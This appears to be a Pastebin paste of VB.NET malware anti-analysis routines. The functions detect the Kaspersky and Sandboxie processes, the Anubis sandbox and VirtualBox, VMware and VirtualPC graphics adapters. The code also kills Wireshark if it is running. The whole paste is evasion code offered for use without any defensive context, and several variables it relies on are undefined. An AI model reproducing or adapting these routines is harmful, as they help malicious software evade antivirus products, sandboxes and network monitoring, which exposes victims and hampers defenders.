Advertisement
Tom2565

Untitled

Dec 2nd, 2017
13,377
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.94 KB | None | 0 0
  1. Public Function antiKAV() As Boolean
  2. On Error GoTo error1
  3. If Process.GetProcessesByName("avp").Length >= 1 Then
  4. Return True
  5. Else
  6. Return False
  7. End If
  8. Exit Function
  9. error1:
  10. End
  11. End Function
  12. Private Sub AntiWireShark()
  13.  
  14. Dim ProcessList As System.Diagnostics.Process()
  15.  
  16. ProcessList = System.Diagnostics.Process.GetProcesses()
  17.  
  18. Dim Proc As System.Diagnostics.Process
  19.  
  20. Dim title As String
  21.  
  22. For Each Proc In ProcessList
  23. title = Proc.MainWindowTitle
  24. If (String.Equals(title, "The Wireshark Network Analyzer")) Then
  25.  
  26. Proc.Kill()
  27.  
  28. End If
  29. Next
  30. End Sub
  31. Public Function antiSandboxie() As Boolean
  32. On Error GoTo error1
  33. If Process.GetProcessesByName("SbieSvc").Length >= 1 Then
  34. Return True
  35. Else
  36. Return False
  37. End If
  38. Exit Function
  39. error1:
  40. End
  41. End Function
  42.  
  43. Public Function antiAnubis() As Boolean
  44. On Error GoTo error1
  45. Dim folder As String = Application.StartupPath
  46. Dim getFile As String = folder & "\sample.exe"
  47. If Application.ExecutablePath = getFile Then
  48. Return True
  49. Else
  50. Return False
  51. End If
  52. Exit Function
  53. error1:
  54. End
  55. End Function
  56.  
  57. Public Function antiAnubis2() As Boolean
  58. On Error GoTo error1
  59. If pid = id Then
  60. Return True
  61. Else
  62. Return False
  63. End If
  64. Exit Function
  65. error1:
  66. End
  67. End Function
  68.  
  69. Public Function AntiVirtualBox() As Boolean
  70. On Error GoTo error1
  71. Call getDevices()
  72.  
  73. Select Case Grafikadapter
  74. Case "VirtualBox Graphics Adapter"
  75. Return True
  76. Case Else
  77. Return False
  78. End Select
  79. Exit Function
  80. error1:
  81. End
  82. End Function
  83.  
  84. Public Function AntiVmWare() As Boolean
  85. On Error GoTo error1
  86. Call getDevices()
  87.  
  88. Select Case Grafikadapter
  89. Case "VMware SVGA II"
  90. Return True
  91. Case Else
  92. Return False
  93. End Select
  94. Exit Function
  95. error1:
  96. End
  97. End Function
  98.  
  99. Public Function AntiVirtualPC() As Boolean
  100. On Error GoTo error1
  101. Call getDevices()
  102.  
  103. Select Case Grafikadapter
  104. Case "VM Additions S3 Trio32/64"
  105. Return True
  106. Case Else
  107. Return False
  108. End Select
  109. Exit Function
  110. error1:
  111. End
  112. End Function
  113.  
  114. Private Sub getDevices()
  115. On Error GoTo error1
  116. Devices = GetObject("winmgmts:").ExecQuery(RegionA)
  117. For Each AdaptList In Devices
  118. Grafikadapter = AdaptList.Description
  119. Next
  120. Exit Sub
  121. error1:
  122. End
  123. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement